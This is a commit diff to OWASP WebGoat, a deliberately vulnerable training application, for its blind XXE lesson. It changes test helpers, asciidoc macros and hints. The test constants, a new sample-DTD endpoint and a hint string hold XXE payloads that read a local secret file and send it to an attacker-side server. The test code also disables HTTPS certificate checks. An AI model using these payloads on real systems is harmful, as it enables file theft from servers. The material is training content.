xxe path info (#670)

* xxe path info aid added

* xxe path info aid added

*  changes to template file and hints

* added ssl test support for XXE

* added ssl test support for XXE

* restconfig replaced by httpsrelaxed

* processed review comments on hints and example
This commit is contained in:
René Zubcevic 2019-10-02 09:59:32 +02:00 committed by GitHub
parent 7536770769
commit 663224d06a
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
13 changed files with 152 additions and 52 deletions

View File

@ -35,6 +35,8 @@ import com.google.common.collect.Sets;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.asciidoctor.Asciidoctor; import org.asciidoctor.Asciidoctor;
import org.asciidoctor.extension.JavaExtensionRegistry; import org.asciidoctor.extension.JavaExtensionRegistry;
import org.owasp.webgoat.asciidoc.OperatingSystemMacro;
import org.owasp.webgoat.asciidoc.WebGoatTmpDirMacro;
import org.owasp.webgoat.asciidoc.WebGoatVersionMacro; import org.owasp.webgoat.asciidoc.WebGoatVersionMacro;
import org.owasp.webgoat.asciidoc.WebWolfMacro; import org.owasp.webgoat.asciidoc.WebWolfMacro;
import org.owasp.webgoat.asciidoc.WebWolfRootMacro; import org.owasp.webgoat.asciidoc.WebWolfRootMacro;
@ -84,6 +86,8 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class); extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class); extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class);
extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class); extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class);
extensionRegistry.inlineMacro("webGoatTempDir", WebGoatTmpDirMacro.class);
extensionRegistry.inlineMacro("operatingSystem", OperatingSystemMacro.class);
asciidoctor.convert(new InputStreamReader(is), writer, createAttributes()); asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
return new StringTemplateResource(writer.getBuffer().toString()); return new StringTemplateResource(writer.getBuffer().toString());

View File

@ -0,0 +1,18 @@
package org.owasp.webgoat.asciidoc;
import java.util.Map;
import org.asciidoctor.ast.AbstractBlock;
import org.asciidoctor.extension.InlineMacroProcessor;
public class OperatingSystemMacro extends InlineMacroProcessor {
public OperatingSystemMacro(String macroName, Map<String, Object> config) {
super(macroName, config);
}
@Override
protected String process(AbstractBlock parent, String target, Map<String, Object> attributes) {
return System.getProperty("os.name");
}
}

View File

@ -0,0 +1,17 @@
package org.owasp.webgoat.asciidoc;
import org.asciidoctor.ast.AbstractBlock;
import org.asciidoctor.extension.InlineMacroProcessor;
import java.util.Map;
public class WebGoatTmpDirMacro extends InlineMacroProcessor {
public WebGoatTmpDirMacro(String macroName, Map<String, Object> config) {
super(macroName, config);
}
@Override
protected String process(AbstractBlock parent, String target, Map<String, Object> attributes) {
return EnvironmentExposure.getEnv().getProperty("webgoat.server.directory");
}
}

View File

@ -2,12 +2,6 @@ package org.owasp.webgoat.asciidoc;
import org.asciidoctor.ast.AbstractBlock; import org.asciidoctor.ast.AbstractBlock;
import org.asciidoctor.extension.InlineMacroProcessor; import org.asciidoctor.extension.InlineMacroProcessor;
import org.springframework.core.env.Environment;
import org.springframework.util.StringUtils;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import javax.servlet.http.HttpServletRequest;
import java.util.Map; import java.util.Map;
public class WebGoatVersionMacro extends InlineMacroProcessor { public class WebGoatVersionMacro extends InlineMacroProcessor {

View File

@ -39,7 +39,7 @@ public class GeneralLessonTest extends IntegrationTest {
public void httpProxies() { public void httpProxies() {
startLesson("HttpProxies"); startLesson("HttpProxies");
Assert.assertThat(RestAssured.given() Assert.assertThat(RestAssured.given()
.when().config(restConfig).cookie("JSESSIONID", getWebGoatCookie()).header("x-request-intercepted", "true") .when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()).header("x-request-intercepted", "true")
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.get(url("HttpProxies/intercept-request?changeMe=Requests are tampered easily")) .get(url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
.then() .then()
@ -82,7 +82,7 @@ public class GeneralLessonTest extends IntegrationTest {
checkResults("/auth-bypass/"); checkResults("/auth-bypass/");
startLesson("HttpProxies"); startLesson("HttpProxies");
Assert.assertThat(RestAssured.given().when().config(restConfig).cookie("JSESSIONID", getWebGoatCookie()).header("x-request-intercepted", "true") Assert.assertThat(RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()).header("x-request-intercepted", "true")
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.get(url("/WebGoat/HttpProxies/intercept-request?changeMe=Requests are tampered easily")).then() .get(url("/WebGoat/HttpProxies/intercept-request?changeMe=Requests are tampered easily")).then()
.statusCode(200).extract().path("lessonCompleted"), CoreMatchers.is(true)); .statusCode(200).extract().path("lessonCompleted"), CoreMatchers.is(true));
@ -101,7 +101,7 @@ public class GeneralLessonTest extends IntegrationTest {
String result = String result =
RestAssured.given() RestAssured.given()
.when() .when()
.config(restConfig) .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.header("webgoat-requested-by", "dom-xss-vuln") .header("webgoat-requested-by", "dom-xss-vuln")
.header("X-Requested-With", "XMLHttpRequest") .header("X-Requested-With", "XMLHttpRequest")

View File

@ -22,12 +22,13 @@ import static io.restassured.RestAssured.given;
public abstract class IntegrationTest { public abstract class IntegrationTest {
protected static int WG_PORT = 8080; protected static int WG_PORT = 8843;
protected static int WW_PORT = 9090; protected static int WW_PORT = 9090;
private static String WEBGOAT_URL = "http://127.0.0.1:" + WG_PORT + "/WebGoat/"; private static String WEBGOAT_URL = "http://127.0.0.1:" + WG_PORT + "/WebGoat/";
private static String WEBWOLF_URL = "http://127.0.0.1:" + WW_PORT + "/"; private static String WEBWOLF_URL = "http://127.0.0.1:" + WW_PORT + "/";
private static boolean WG_SSL = false;//enable this if you want to run the test on ssl
//This also allows to test the application with HTTPS when outside testing option is used //TODO no longer required but will be removed once all usages are removed
protected static RestAssuredConfig restConfig = RestAssuredConfig.newConfig().sslConfig(new SSLConfig().relaxedHTTPSValidation()); protected static RestAssuredConfig restConfig = RestAssuredConfig.newConfig().sslConfig(new SSLConfig().relaxedHTTPSValidation());
@Getter @Getter
@ -42,11 +43,15 @@ public abstract class IntegrationTest {
@BeforeClass @BeforeClass
public static void beforeAll() { public static void beforeAll() {
if (WG_SSL) {
WEBGOAT_URL = WEBGOAT_URL.replace("http:","https:");
}
if (!started) { if (!started) {
started = true; started = true;
if (!isAlreadyRunning(WG_PORT)) { if (!isAlreadyRunning(WG_PORT)) {
SpringApplicationBuilder wgs = new SpringApplicationBuilder(StartWebGoat.class) SpringApplicationBuilder wgs = new SpringApplicationBuilder(StartWebGoat.class)
.properties(Map.of("spring.config.name", "application-webgoat,application-inttest", "WEBGOAT_PORT", WG_PORT)); .properties(Map.of("spring.config.name", "application-webgoat,application-inttest", "WEBGOAT_SSLENABLED", WG_SSL, "WEBGOAT_PORT", WG_PORT));
wgs.run(); wgs.run();
} }
@ -80,9 +85,10 @@ public abstract class IntegrationTest {
@Before @Before
public void login() { public void login() {
String location = given() String location = given()
.when() .when()
.config(restConfig) .relaxedHTTPSValidation()
.formParam("username", webgoatUser) .formParam("username", webgoatUser)
.formParam("password", "password") .formParam("password", "password")
.post(url("login")).then() .post(url("login")).then()
@ -92,7 +98,7 @@ public abstract class IntegrationTest {
if (location.endsWith("?error")) { if (location.endsWith("?error")) {
webGoatCookie = RestAssured.given() webGoatCookie = RestAssured.given()
.when() .when()
.config(restConfig) .relaxedHTTPSValidation()
.formParam("username", webgoatUser) .formParam("username", webgoatUser)
.formParam("password", "password") .formParam("password", "password")
.formParam("matchingPassword", "password") .formParam("matchingPassword", "password")
@ -106,7 +112,7 @@ public abstract class IntegrationTest {
} else { } else {
webGoatCookie = given() webGoatCookie = given()
.when() .when()
.config(restConfig) .relaxedHTTPSValidation()
.formParam("username", webgoatUser) .formParam("username", webgoatUser)
.formParam("password", "password") .formParam("password", "password")
.post(url("login")).then() .post(url("login")).then()
@ -117,7 +123,7 @@ public abstract class IntegrationTest {
webWolfCookie = RestAssured.given() webWolfCookie = RestAssured.given()
.when() .when()
.config(restConfig) .relaxedHTTPSValidation()
.formParam("username", webgoatUser) .formParam("username", webgoatUser)
.formParam("password", "password") .formParam("password", "password")
.post(WEBWOLF_URL + "login") .post(WEBWOLF_URL + "login")
@ -132,7 +138,7 @@ public abstract class IntegrationTest {
public void logout() { public void logout() {
RestAssured.given() RestAssured.given()
.when() .when()
.config(restConfig) .relaxedHTTPSValidation()
.get(url("logout")) .get(url("logout"))
.then() .then()
.statusCode(200); .statusCode(200);
@ -146,7 +152,7 @@ public abstract class IntegrationTest {
public void startLesson(String lessonName) { public void startLesson(String lessonName) {
RestAssured.given() RestAssured.given()
.when() .when()
.config(restConfig) .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url(lessonName + ".lesson.lesson")) .get(url(lessonName + ".lesson.lesson"))
.then() .then()
@ -154,7 +160,7 @@ public abstract class IntegrationTest {
RestAssured.given() RestAssured.given()
.when() .when()
.config(restConfig) .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/restartlesson.mvc")) .get(url("service/restartlesson.mvc"))
.then() .then()
@ -174,7 +180,7 @@ public abstract class IntegrationTest {
Assert.assertThat( Assert.assertThat(
RestAssured.given() RestAssured.given()
.when() .when()
.config(restConfig) .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.formParams(params) .formParams(params)
.post(url) .post(url)
@ -196,7 +202,7 @@ public abstract class IntegrationTest {
Assert.assertThat( Assert.assertThat(
RestAssured.given() RestAssured.given()
.when() .when()
.config(restConfig) .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.formParams(params) .formParams(params)
.put(url) .put(url)
@ -208,7 +214,7 @@ public abstract class IntegrationTest {
public void checkResults(String prefix) { public void checkResults(String prefix) {
Assert.assertThat(RestAssured.given() Assert.assertThat(RestAssured.given()
.when() .when()
.config(restConfig) .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/lessonoverview.mvc")) .get(url("service/lessonoverview.mvc"))
.then() .then()
@ -216,7 +222,7 @@ public abstract class IntegrationTest {
Assert.assertThat(RestAssured.given() Assert.assertThat(RestAssured.given()
.when() .when()
.config(restConfig) .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/lessonoverview.mvc")) .get(url("service/lessonoverview.mvc"))
.then() .then()
@ -228,7 +234,7 @@ public abstract class IntegrationTest {
Assert.assertThat( Assert.assertThat(
RestAssured.given() RestAssured.given()
.when() .when()
.config(restConfig) .relaxedHTTPSValidation()
.contentType(contentType) .contentType(contentType)
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.body(body) .body(body)

View File

@ -76,7 +76,7 @@ public class JWTLessonTest extends IntegrationTest {
String accessToken = RestAssured.given() String accessToken = RestAssured.given()
.when() .when()
.config(restConfig) .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/JWT/secret/gettoken")) .get(url("/WebGoat/JWT/secret/gettoken"))
.then() .then()
@ -87,7 +87,7 @@ public class JWTLessonTest extends IntegrationTest {
Assert.assertThat( Assert.assertThat(
RestAssured.given() RestAssured.given()
.when() .when()
.config(restConfig) .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.formParam("token", generateToken(secret)) .formParam("token", generateToken(secret))
.post(url("/WebGoat/JWT/secret")) .post(url("/WebGoat/JWT/secret"))
@ -101,7 +101,7 @@ public class JWTLessonTest extends IntegrationTest {
private void resetVotes() throws IOException { private void resetVotes() throws IOException {
String accessToken = RestAssured.given() String accessToken = RestAssured.given()
.when() .when()
.config(restConfig) .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/JWT/votings/login?user=Tom")) .get(url("/WebGoat/JWT/votings/login?user=Tom"))
.then() .then()
@ -128,7 +128,7 @@ public class JWTLessonTest extends IntegrationTest {
Assert.assertThat( Assert.assertThat(
RestAssured.given() RestAssured.given()
.when() .when()
.config(restConfig) .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.cookie("access_token", replacedToken) .cookie("access_token", replacedToken)
.post(url("/WebGoat/JWT/votings")) .post(url("/WebGoat/JWT/votings"))

View File

@ -29,7 +29,7 @@ public class PasswordResetLessonTest extends IntegrationTest {
var responseBody = RestAssured.given() var responseBody = RestAssured.given()
.when() .when()
.config(restConfig) .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/mail")) .get(webWolfUrl("/WebWolf/mail"))
.then() .then()
@ -41,7 +41,7 @@ public class PasswordResetLessonTest extends IntegrationTest {
private void changePassword(String link) { private void changePassword(String link) {
RestAssured.given() RestAssured.given()
.when() .when()
.config(restConfig) .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.formParams("resetLink", link, "password", "123456") .formParams("resetLink", link, "password", "123456")
.post(url("PasswordReset/reset/change-password")) .post(url("PasswordReset/reset/change-password"))
@ -52,7 +52,7 @@ public class PasswordResetLessonTest extends IntegrationTest {
private String getPasswordResetLinkFromLandingPage() { private String getPasswordResetLinkFromLandingPage() {
var responseBody = RestAssured.given() var responseBody = RestAssured.given()
.when() .when()
.config(restConfig) .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("WebWolf/requests")) .get(webWolfUrl("WebWolf/requests"))
.then() .then()
@ -66,7 +66,7 @@ public class PasswordResetLessonTest extends IntegrationTest {
RestAssured.given() RestAssured.given()
.when() .when()
.header("host", "localhost:9090") .header("host", "localhost:9090")
.config(restConfig) .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.formParams("email", user) .formParams("email", user)
.post(url("PasswordReset/ForgotPassword/create-password-reset-link")) .post(url("PasswordReset/ForgotPassword/create-password-reset-link"))

View File

@ -17,14 +17,17 @@ public class XXETest extends IntegrationTest {
private static final String dtd7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!ENTITY % file SYSTEM \"file:SECRET\"><!ENTITY % all \"<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>\">%all;"; private static final String dtd7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!ENTITY % file SYSTEM \"file:SECRET\"><!ENTITY % all \"<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>\">%all;";
private static final String xxe7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM \"WEBWOLFURL/USERNAME/blind.dtd\">%remote;]><comment><text>test&send;</text></comment>"; private static final String xxe7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM \"WEBWOLFURL/USERNAME/blind.dtd\">%remote;]><comment><text>test&send;</text></comment>";
private String webGoatHomeDirectory = System.getProperty("user.dir").concat("/target/.webgoat"); private String webGoatHomeDirectory;
private String webwolfFileDir = System.getProperty("user.dir").concat("/target/webwolf-fileserver"); private String webwolfFileDir;
@Test @Test
public void runTests() throws IOException { public void runTests() throws IOException {
startLesson("XXE"); startLesson("XXE");
webGoatHomeDirectory = getWebGoatServerPath();
webwolfFileDir = getWebWolfServerPath();
checkAssignment(url("/WebGoat/xxe/simple"),ContentType.XML,xxe3,true); checkAssignment(url("/WebGoat/xxe/simple"),ContentType.XML,xxe3,true);
checkAssignment(url("/WebGoat/xxe/content-type"),ContentType.XML,xxe4,true); checkAssignment(url("/WebGoat/xxe/content-type"),ContentType.XML,xxe4,true);
@ -55,7 +58,7 @@ public class XXETest extends IntegrationTest {
//upload DTD //upload DTD
RestAssured.given() RestAssured.given()
.when() .when()
.config(restConfig) .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", "blind.dtd", dtd7String.getBytes()) .multiPart("file", "blind.dtd", dtd7String.getBytes())
.post(webWolfUrl("/WebWolf/fileupload")) .post(webWolfUrl("/WebWolf/fileupload"))
@ -69,7 +72,7 @@ public class XXETest extends IntegrationTest {
//read results from WebWolf //read results from WebWolf
String result = RestAssured.given() String result = RestAssured.given()
.when() .when()
.config(restConfig) .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/requests")) .get(webWolfUrl("/WebWolf/requests"))
.then() .then()
@ -79,4 +82,32 @@ public class XXETest extends IntegrationTest {
return result; return result;
} }
private String getWebGoatServerPath() throws IOException {
//read path from server
String result = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/xxe/tmpdir"))
.then()
.extract().response().getBody().asString();
result = result.replace("%20", " ");
return result;
}
private String getWebWolfServerPath() throws IOException {
//read path from server
String result = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/tmpdir"))
.then()
.extract().response().getBody().asString();
result = result.replace("%20", " ");
return result;
}
} }

View File

@ -29,14 +29,17 @@ import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult; import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value; import org.springframework.beans.factory.annotation.Value;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController; import org.springframework.web.bind.annotation.RestController;
import static org.springframework.http.MediaType.ALL_VALUE; import static org.springframework.http.MediaType.ALL_VALUE;
import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;
/** /**
* @author nbaars * @author nbaars
* @since 4/8/17. * @since 4/8/17.
@ -50,6 +53,11 @@ public class SimpleXXE extends AssignmentEndpoint {
@Value("${webgoat.server.directory}") @Value("${webgoat.server.directory}")
private String webGoatHomeDirectory; private String webGoatHomeDirectory;
@Value("${webwolf.url.landingpage}")
private String webWolfURL;
@Autowired @Autowired
private Comments comments; private Comments comments;
@ -77,4 +85,20 @@ public class SimpleXXE extends AssignmentEndpoint {
} }
return success; return success;
} }
@RequestMapping(path="/xxe/tmpdir",consumes = ALL_VALUE, produces=MediaType.TEXT_PLAIN_VALUE)
@ResponseBody
public String getWebGoatHomeDirectory() {
return webGoatHomeDirectory;
}
@RequestMapping(path="/xxe/sampledtd",consumes = ALL_VALUE, produces=MediaType.TEXT_PLAIN_VALUE)
@ResponseBody
public String getSampleDTDFile() {
return "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<!ENTITY % file SYSTEM \"file:replace-this-by-webgoat-temp-directory/XXE/secret.txt\">\n" +
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://replace-this-by-webwolf-base-url/landing?text=%file;'>\">\n" +
"%all;";
}
} }

View File

@ -42,5 +42,5 @@ xxe.hints.content.type.xxe.2=Does the endpoint only accept json messages?
xxe.blind.hints.1=This assignment is more complicated you need to upload the contents of a file to the attackers site (WebWolf in this case) xxe.blind.hints.1=This assignment is more complicated you need to upload the contents of a file to the attackers site (WebWolf in this case)
xxe.blind.hints.2=In this case you cannot combine external entities in combination with internal entities. xxe.blind.hints.2=In this case you cannot combine external entities in combination with internal entities.
xxe.blind.hints.3=Use parameter entities to perform the attack, see for example: https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/ xxe.blind.hints.3=Use parameter entities to perform the attack, see for example: https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/
xxe.blind.hints.4=An example DTD can be found here WebGoat/images/example.dtd, include this DTD in the xml comment xxe.blind.hints.4=An example DTD can be found [[webgoat base url]]/WebGoat/xxe/sampledtd, include this DTD in the xml comment
xxe.blind.hints.5=Use for the comment, be aware to replace the url accordingly: &lt;?xml version="1.0"?&gt;&lt;!DOCTYPE comment [&lt;!ENTITY % remote SYSTEM "http://localhost:9090/files/test1234/test.dtd"&gt;%remote;]&gt;&lt;comment&gt;&lt;text&gt;test&send;&lt;/text&gt;&lt;/comment&gt; xxe.blind.hints.5=Use for the comment, be aware to replace the url accordingly: &lt;?xml version="1.0"?&gt;&lt;!DOCTYPE comment [&lt;!ENTITY % remote SYSTEM "[[webwolf base url]]/files/[[user]]/test.dtd"&gt;%remote;]&gt;&lt;comment&gt;&lt;text&gt;test&send;&lt;/text&gt;&lt;/comment&gt;

View File

@ -1,21 +1,16 @@
== Blind XXE assignment == Blind XXE assignment
In the previous page we showed you how you can ping a server with a XXE attack, in this assignment try to make a DTD In the previous page we showed you how you can ping a server with a XXE attack, in this assignment try to make a DTD
which will upload the contents of ~/.webgoat/plugin/XXE/secret.txt to our server. You can use WebWolf to serve your which will upload the contents of a file secret.txt from the WebGoat server to our WebWolf server. You can use WebWolf to serve your DTD.
DTD. The secret.txt is located on the WebGoat server in this location, so you do not need to scan all directories and files:
|=== |===
|OS |Location |OS |Location
|Linux |`operatingSystem:os[]`
|`/home/USER/.webgoat-webGoatVersion:version[]/XXE/secret.txt` |`webGoatTempDir:temppath[]/XXE/secret.txt`
|Windows
|`c:/Users/USER/.webgoat-webGoatVersion:version[]/XXE/secret.txt`
|Docker
|`/home/webgoat/.webgoat-webGoatVersion:version[]/XXE/secret.txt`
|=== |===
Try to upload this file using WebWolf landing page for example: `webWolfRootLink:landing?text=contents_file[noLink]` Try to upload this file using WebWolf landing page for example: `webWolfRootLink:landing?text=contents_file[noLink]`

View File

@ -31,17 +31,23 @@ import lombok.extern.slf4j.Slf4j;
import org.apache.commons.io.FileUtils; import org.apache.commons.io.FileUtils;
import org.owasp.webwolf.user.WebGoatUser; import org.owasp.webwolf.user.WebGoatUser;
import org.springframework.beans.factory.annotation.Value; import org.springframework.beans.factory.annotation.Value;
import org.springframework.http.MediaType;
import org.springframework.security.core.context.SecurityContextHolder; import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.stereotype.Controller; import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap; import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.multipart.MultipartFile; import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.servlet.ModelAndView; import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.view.RedirectView; import org.springframework.web.servlet.view.RedirectView;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import static org.springframework.http.MediaType.ALL_VALUE;
import java.io.File; import java.io.File;
import java.util.List; import java.util.List;
@ -53,18 +59,23 @@ import java.util.List;
public class FileServer { public class FileServer {
@Value("${webwolf.fileserver.location}") @Value("${webwolf.fileserver.location}")
private String fileLocatation; private String fileLocation;
@Value("${server.address}") @Value("${server.address}")
private String server; private String server;
@Value("${server.port}") @Value("${server.port}")
private int port; private int port;
@RequestMapping(path="/tmpdir",consumes = ALL_VALUE, produces=MediaType.TEXT_PLAIN_VALUE)
@ResponseBody
public String getFileLocation() {
return fileLocation;
}
@PostMapping(value = "/WebWolf/fileupload") @PostMapping(value = "/WebWolf/fileupload")
@SneakyThrows @SneakyThrows
public ModelAndView importFile(@RequestParam("file") MultipartFile myFile) { public ModelAndView importFile(@RequestParam("file") MultipartFile myFile) {
WebGoatUser user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); WebGoatUser user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
File destinationDir = new File(fileLocatation, user.getUsername()); File destinationDir = new File(fileLocation, user.getUsername());
destinationDir.mkdirs(); destinationDir.mkdirs();
myFile.transferTo(new File(destinationDir, myFile.getOriginalFilename())); myFile.transferTo(new File(destinationDir, myFile.getOriginalFilename()));
log.debug("File saved to {}", new File(destinationDir, myFile.getOriginalFilename())); log.debug("File saved to {}", new File(destinationDir, myFile.getOriginalFilename()));
@ -90,7 +101,7 @@ public class FileServer {
public ModelAndView getFiles(HttpServletRequest request) { public ModelAndView getFiles(HttpServletRequest request) {
WebGoatUser user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); WebGoatUser user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
String username = user.getUsername(); String username = user.getUsername();
File destinationDir = new File(fileLocatation, username); File destinationDir = new File(fileLocation, username);
ModelAndView modelAndView = new ModelAndView(); ModelAndView modelAndView = new ModelAndView();
modelAndView.setViewName("files"); modelAndView.setViewName("files");